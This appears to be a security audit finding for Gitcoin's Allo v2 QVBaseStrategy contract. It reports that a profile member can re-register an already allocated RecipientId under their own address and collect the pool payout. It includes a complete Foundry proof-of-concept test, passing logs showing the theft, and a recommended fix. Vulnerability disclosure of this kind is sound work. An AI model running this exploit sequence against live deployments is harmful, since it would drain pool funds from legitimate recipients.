Deep Grape Narwhal

high

# Malicious members can steal pool tokens via allocated RecipientId
## Summary
Malicious profile members can call RegisterRecipient() with an already allocated RecipientId to tamper RecipientAddress , and then steal the token.

## Vulnerability Detail
1 .profile_owner  register Recipient with RegistryAnchor(eg: profile1_anchor()) to generate RecipientId
2. profile1_member2（Malicious member）   monitor recipient status，checks if recipientStatus==Status.Accepted，and allocate voice credits to a recipient
3.profile1_member2（Malicious member）  Register recipient using the RecipientId(profile1_anchor()) that has been  allocated
4.the strategy manager initiates the payout distribution.

## Proof of Concept    
Add the following test contract QVBaseStrategyPoc.t.sol  to the test/foundry/strategies/

forge test -vv --match-path test/foundry/strategies/QVBaseStrategyPoc.t.sol 

 QVBaseStrategyPoc.t.sol 
```solidity
pragma solidity ^0.8.19;

import "forge-std/Test.sol";

// Interfaces
import {IStrategy} from "../../../contracts/core/interfaces/IStrategy.sol";
// Core contracts
import {BaseStrategy} from "../../../contracts/strategies/BaseStrategy.sol";
import {QVBaseStrategy} from "../../../contracts/strategies/qv-base/QVBaseStrategy.sol";
// Internal libraries
import {Errors} from "../../../contracts/core/libraries/Errors.sol";
import {Metadata} from "../../../contracts/core/libraries/Metadata.sol";

// Test libraries
import {AlloSetup} from "../shared/AlloSetup.sol";
import {RegistrySetupFull} from "../shared/RegistrySetup.sol";
import {StrategySetup} from "../shared/StrategySetup.sol";
import {EventSetup} from "../shared/EventSetup.sol";
// Mocks
import {QVBaseStrategyTestMock} from "../../utils/QVBaseStrategyTestMock.sol";
import {MockERC20} from "../../utils/MockERC20.sol";

/// @title QVBaseStrategyTest
/// @notice Test suite for QVBaseStrategy
/// @author allo-team
contract QVBaseStrategyTest is Test, AlloSetup, RegistrySetupFull, StrategySetup, EventSetup, Errors {
    struct Recipient {
        bool useRegistryAnchor;
        address recipientAddress;
        Metadata metadata;
        QVBaseStrategy.Status Status;
        uint256 totalVotes;
    }

    struct Allocator {
        uint256 voiceCredits;
        mapping(address => uint256) voiceCreditsCastToRecipient;
        mapping(address => uint256) votesCastToRecipient;
    }

    bool public registryGating;
    bool public metadataRequired;
    bool public useRegistryAnchor;

    uint256 public totalRecipientVotes;

    uint64 public registrationStartTime;
    uint64 public registrationEndTime;
    uint64 public allocationStartTime;
    uint64 public allocationEndTime;

    address internal _strategy;
    MockERC20 public token;
    Metadata public poolMetadata;

    address[] public allowedTokens;

    uint256 public poolId;

    event Reviewed(address indexed recipientId, QVBaseStrategy.Status status, address sender);
    event RecipientStatusUpdated(address indexed recipientId, IStrategy.Status status, address sender);
    event PoolCreated(
        uint256 indexed poolId,
        bytes32 indexed profileId,
        IStrategy strategy,
        MockERC20 token,
        uint256 amount,
        Metadata metadata
    );
    event Allocated(address indexed recipientId, uint256 votes, address allocator);

    function setUp() public virtual {
        __RegistrySetupFull();
        __AlloSetup(address(registry()));

        poolId = 1;
        
        token = new MockERC20();
    

        registrationStartTime = uint64(today());
        registrationEndTime = uint64(nextWeek());
        allocationStartTime = uint64(weekAfterNext());
        allocationEndTime = uint64(oneMonthFromNow());

        registryGating = false;//
        metadataRequired = true;
        useRegistryAnchor = false;

        poolMetadata = Metadata({protocol: 1, pointer: "PoolMetadata"});

        _strategy = _createStrategy();//QVBaseStrategy
        _initialize();
    }

    function _createStrategy() internal virtual returns (address) {
        return address(new QVBaseStrategyTestMock(address(allo()), "MockStrategy"));
    }

    function _initialize() internal virtual {
        vm.startPrank(pool_admin());
        _createPoolWithCustomStrategy();
        vm.stopPrank();
    }

    function _createPoolWithCustomStrategy() internal virtual {
        
        poolId = allo().createPoolWithCustomStrategy(
            poolProfile_id(),
            _strategy,
            abi.encode(
                registryGating,
                metadataRequired,
                2,
                registrationStartTime,
                registrationEndTime,
                allocationStartTime,
                allocationEndTime
            ),
            address(token),
            0 ether, // TODO: setup tests for failed transfers when a value is passed here.
            poolMetadata,
            pool_managers()
        );
    }

   //1. profile1_owner  register recipient  with RegistryAnchor 
    function __m_register_recipient() internal returns(address recipientId){
        vm.warp(registrationStartTime + 10);
        bytes memory data = __generateRecipientWithId(profile1_anchor());
    
        vm.startPrank(address(allo()));
        //profile1_owner == msg.sender
        recipientId = qvStrategy().registerRecipient(data, profile1_owner());
        QVBaseStrategy.Recipient memory recipient = qvStrategy().getRecipient(recipientId);
        console.log("profile1_owner recipientAddress:",recipient.recipientAddress);
        console.log("profile1_owner recipientId: ", recipientId);
        return recipientId;
    }

    //2. review Recipients status
     function __m_register_accept_recipient() internal returns(address){
        address recipientId = __m_register_recipient();
        //accept
        address[] memory recipientIds = new address[](1);
        recipientIds[0] = recipientId;
        IStrategy.Status[] memory Statuses = new IStrategy.Status[](1);
        Statuses[0] = IStrategy.Status.Accepted;
        vm.startPrank(pool_admin());
        qvStrategy().reviewRecipients(recipientIds, Statuses);
        vm.stopPrank();
        vm.startPrank(pool_manager1());
        qvStrategy().reviewRecipients(recipientIds, Statuses);
        vm.stopPrank();
        return recipientId;

    }
    //3.Allocate voice credits to a recipient
    function __m_register_accept_allocate_recipient() internal returns(address){
        address recipientId = __m_register_accept_recipient();
        vm.warp(registrationEndTime + 10);

        address[] memory recipientIds = new address[](1);
        recipientIds[0] = recipientId;

        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 9.9e17; // fund amount: 1e18 - fee: 1e17 = 9.9e17

        token.mint(pool_manager1(), 100e18);
        // set the allowance for the transfer
        vm.prank(pool_manager1());
        token.approve(address(allo()), 999999999e18);

        // fund pool
        vm.prank(pool_manager1());
        allo().fundPool(poolId, 1e18);
        vm.warp(allocationStartTime + 10);
        bytes memory allocation = __generateAllocation(recipientId, 4);
        vm.prank(address(allo()));
        qvStrategy().allocate(allocation, randomAddress());
        vm.warp(allocationEndTime + 10);

        return recipientId;
    }

  
    //4.profile1_member2（Malicious members）  Register recipient using the RecipientId(eg:profile1_anchor()) that has been  allocated
    function __m_register_recipient_with_same_recipientId() internal returns(address samerecipientId){
         __m_register_accept_allocate_recipient();
        vm.warp(registrationStartTime + 10);
        
        Metadata memory metadata = Metadata({protocol: 1, pointer: "metadata"});
         //in case of registryGating =false   
        //when using registry anchor, the ID of the recipient must be a profile member
        //so return abi.encode(malicious(),recipientId, metadata);
        bytes memory data = abi.encode(malicious(),profile1_anchor(), metadata);
       //'recipientAddress has been changed
        vm.startPrank(address(allo()));
        //profile1_member2（Malicious members） == msg.sender
        samerecipientId  = qvStrategy().registerRecipient(data, profile1_member2());
        QVBaseStrategy.Recipient memory recipient = qvStrategy().getRecipient(samerecipientId);
        console.log("Malicious member recipientAddress: ",recipient.recipientAddress);
        console.log("Malicious member recipientId: ", samerecipientId);
        return samerecipientId;
        
    }

    //Payout Distribution
    function test_m_distribute() public {
        address recipientId =__m_register_recipient_with_same_recipientId();
        vm.warp(allocationEndTime + 10);
        address[] memory recipients = new address[](1);
        recipients[0] = recipientId;
        assertEq(token.balanceOf(address(qvStrategy())), 9.9e17);
        vm.startPrank(address(allo()));
        
        qvStrategy().distribute(recipients, "", pool_admin());

        assertEq(token.balanceOf(malicious()), 9.9e17);
        console.log("After distribute:");
        console.log("profile1_owner recipientAddress balance:",token.balanceOf(recipient1()));
        console.log("Malicious member recipientAddress balance:",token.balanceOf(malicious()));

        
    }
    //（Malicious members recipientAddress）
    function malicious() public returns (address) {
        return makeAddr("malicious");
    }

    function __generateAllocation(address _recipient, uint256 _amount) internal view virtual returns (bytes memory) {
        return abi.encode(_recipient, _amount);
    }
    //in case of registryGating =false   
    //when using registry anchor, the ID of the recipient must be a profile member
    //so return abi.encode(recipient1(), _recipientId,metadata);
    function __generateRecipientWithId(address _recipientId) internal virtual returns (bytes memory) {
        Metadata memory metadata = Metadata({protocol: 1, pointer: "metadata"});
       
        return abi.encode(recipient1(), _recipientId,metadata);
    }
   
    //QVBaseStrategy
    function qvStrategy() internal view returns (QVBaseStrategy) {
        return (QVBaseStrategy(_strategy));
    }
}

Running 1 test for test/foundry/strategies/QVBaseStrategyPoc.t.sol:QVBaseStrategyTest
[PASS] test_m_distribute() (gas: 612606)
Logs:
  profile1_owner recipientAddress: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff
  profile1_owner recipientId:  0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641
  Malicious member recipientAddress:  0x9BCe6041b95E156653669537A68A060564458449
  Malicious member recipientId:  0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641
  After distribute
  profile1_owner recipientAddress balance: 0
  Malicious member recipientAddress balance: 990000000000000000
```

## Impact
Malicious profile member can steal token ,leading to loss of funds for pool
Affects the fairness of protocol

## Code Snippet
https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369

## Tool used
Manual Review

## Recommendation

Lock already allocated  recipientId ,add verification process in RegisterRecipient() 